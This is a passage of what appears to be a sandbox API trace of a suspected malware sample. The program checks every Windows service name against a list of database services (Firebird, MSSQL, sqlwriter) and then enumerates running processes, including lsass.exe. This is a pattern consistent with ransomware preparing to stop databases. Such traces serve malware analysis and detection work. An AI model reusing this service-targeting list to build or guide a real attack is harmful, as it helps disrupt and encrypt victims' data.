	[0058.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0058.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0058.325] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0058.325] lstrlenW (lpString="EventLog") returned 8
	[0058.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0058.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0058.325] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0058.325] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0058.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0058.326] lstrlenW (lpString="EventSystem") returned 11
	[0058.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0058.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0058.326] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0058.326] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0058.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0058.326] lstrlenW (lpString="FontCache") returned 9
	[0058.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0058.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0058.326] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0058.326] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0058.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0058.326] lstrlenW (lpString="gpsvc") returned 5
	[0058.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0058.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0058.326] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0058.326] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0058.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0058.326] lstrlenW (lpString="iphlpsvc") returned 8
	[0058.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0058.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0058.326] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0058.326] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0058.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0058.326] lstrlenW (lpString="KeyIso") returned 6
	[0058.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0058.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0058.327] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0058.327] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0058.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0058.327] lstrlenW (lpString="LanmanServer") returned 12
	[0058.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0058.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0058.327] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0058.327] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0058.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0058.327] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0058.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0058.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0058.327] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0058.327] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0058.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0058.327] lstrlenW (lpString="lfsvc") returned 5
	[0058.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0058.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0058.327] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0058.327] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0058.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0058.327] lstrlenW (lpString="lmhosts") returned 7
	[0058.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0058.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0058.327] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0058.327] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0058.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0058.327] lstrlenW (lpString="LSM") returned 3
	[0058.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0058.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0058.328] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0058.328] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0058.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0058.328] lstrlenW (lpString="MapsBroker") returned 10
	[0058.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0058.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0058.328] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0058.328] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0058.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0058.328] lstrlenW (lpString="MpsSvc") returned 6
	[0058.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0058.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0058.328] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0058.328] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0058.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0058.328] lstrlenW (lpString="NcbService") returned 10
	[0058.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0058.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0058.328] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0058.328] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0058.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0058.328] lstrlenW (lpString="netprofm") returned 8
	[0058.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0058.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0058.328] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0058.328] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0058.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0058.328] lstrlenW (lpString="NlaSvc") returned 6
	[0058.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0058.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0058.329] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0058.329] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0058.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0058.329] lstrlenW (lpString="nsi") returned 3
	[0058.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0058.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0058.329] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0058.329] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0058.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0058.329] lstrlenW (lpString="PcaSvc") returned 6
	[0058.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0058.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0058.329] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0058.329] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0058.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0058.329] lstrlenW (lpString="PlugPlay") returned 8
	[0058.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0058.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0058.329] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0058.329] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0058.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0058.329] lstrlenW (lpString="Power") returned 5
	[0058.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0058.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0058.329] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0058.329] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0058.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0058.330] lstrlenW (lpString="ProfSvc") returned 7
	[0058.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0058.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0058.330] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0058.330] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0058.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0058.330] lstrlenW (lpString="RpcEptMapper") returned 12
	[0058.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0058.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0058.330] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0058.330] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0058.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0058.330] lstrlenW (lpString="RpcSs") returned 5
	[0058.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0058.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0058.330] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0058.330] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0058.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0058.330] lstrlenW (lpString="SamSs") returned 5
	[0058.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0058.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0058.330] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0058.330] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0058.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0058.330] lstrlenW (lpString="Schedule") returned 8
	[0058.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0058.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0058.330] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0058.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0058.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0058.331] lstrlenW (lpString="SecurityHealthService") returned 21
	[0058.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0058.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0058.331] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0058.331] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0058.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0058.331] lstrlenW (lpString="SENS") returned 4
	[0058.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0058.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0058.331] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0058.331] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0058.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0058.331] lstrlenW (lpString="ShellHWDetection") returned 16
	[0058.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0058.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0058.331] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0058.331] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0058.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0058.331] lstrlenW (lpString="Spooler") returned 7
	[0058.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0058.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0058.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0058.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0058.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0058.331] lstrlenW (lpString="SSDPSRV") returned 7
	[0058.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0058.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0058.332] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0058.332] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0058.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0058.332] lstrlenW (lpString="StateRepository") returned 15
	[0058.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0058.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0058.332] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0058.332] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0058.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0058.332] lstrlenW (lpString="SysMain") returned 7
	[0058.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0058.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0058.332] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0058.332] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0058.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0058.332] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0058.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0058.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0058.332] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0058.332] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0058.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0058.332] lstrlenW (lpString="Themes") returned 6
	[0058.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0058.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0058.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0058.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0058.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0058.333] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0058.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0058.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0058.333] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0058.333] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0058.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0058.333] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0058.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0058.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0058.333] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0058.333] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0058.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TimeBrokerSvc") returned -1
	[0058.333] lstrlenW (lpString="TokenBroker") returned 11
	[0058.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TokenBroker") returned -1
	[0058.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TokenBroker") returned -1
	[0058.333] lstrcmpiW (lpString1="sqlwriter", lpString2="TokenBroker") returned -1
	[0058.333] lstrcmpiW (lpString1="mssqlserver", lpString2="TokenBroker") returned -1
	[0058.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TokenBroker") returned -1
	[0058.333] lstrlenW (lpString="TrkWks") returned 6
	[0058.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0058.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0058.333] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0058.333] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0058.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0058.333] lstrlenW (lpString="UserManager") returned 11
	[0058.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UserManager") returned -1
	[0058.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UserManager") returned -1
	[0058.333] lstrcmpiW (lpString1="sqlwriter", lpString2="UserManager") returned -1
	[0058.333] lstrcmpiW (lpString1="mssqlserver", lpString2="UserManager") returned -1
	[0058.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UserManager") returned -1
	[0058.334] lstrlenW (lpString="VaultSvc") returned 8
	[0058.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VaultSvc") returned -1
	[0058.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VaultSvc") returned -1
	[0058.334] lstrcmpiW (lpString1="sqlwriter", lpString2="VaultSvc") returned -1
	[0058.334] lstrcmpiW (lpString1="mssqlserver", lpString2="VaultSvc") returned -1
	[0058.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VaultSvc") returned -1
	[0058.334] lstrlenW (lpString="Wcmsvc") returned 6
	[0058.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Wcmsvc") returned -1
	[0058.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Wcmsvc") returned -1
	[0058.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Wcmsvc") returned -1
	[0058.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Wcmsvc") returned -1
	[0058.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Wcmsvc") returned -1
	[0058.334] lstrlenW (lpString="WdiServiceHost") returned 14
	[0058.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0058.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0058.334] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0058.334] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0058.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0058.334] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0058.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0058.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0058.334] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0058.334] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0058.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0058.334] lstrlenW (lpString="Winmgmt") returned 7
	[0058.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0058.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0058.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0058.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0058.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0058.335] lstrlenW (lpString="WpnService") returned 10
	[0058.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WpnService") returned -1
	[0058.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WpnService") returned -1
	[0058.335] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x77d420 | out: hHeap=0x720000) returned 1
	[0058.335] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288
	[0058.558] Process32FirstW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0058.558] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0058.559] lstrlenW (lpString="System") returned 6
	[0058.559] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0058.559] lstrlenW (lpString="smss.exe") returned 8
	[0058.559] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0058.560] lstrlenW (lpString="csrss.exe") returned 9
	[0058.560] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0058.560] lstrlenW (lpString="wininit.exe") returned 11
	[0058.560] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0058.561] lstrlenW (lpString="csrss.exe") returned 9
	[0058.561] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0058.561] lstrlenW (lpString="winlogon.exe") returned 12
	[0058.561] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0058.562] lstrlenW (lpString="services.exe") returned 12
	[0058.562] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0058.563] lstrlenW (lpString="lsass.exe") returned 9
	[0058.563] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.563] lstrlenW (lpString="svchost.exe") returned 11
	[0058.563] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0058.564] lstrlenW (lpString="fontdrvhost.exe") returned 15
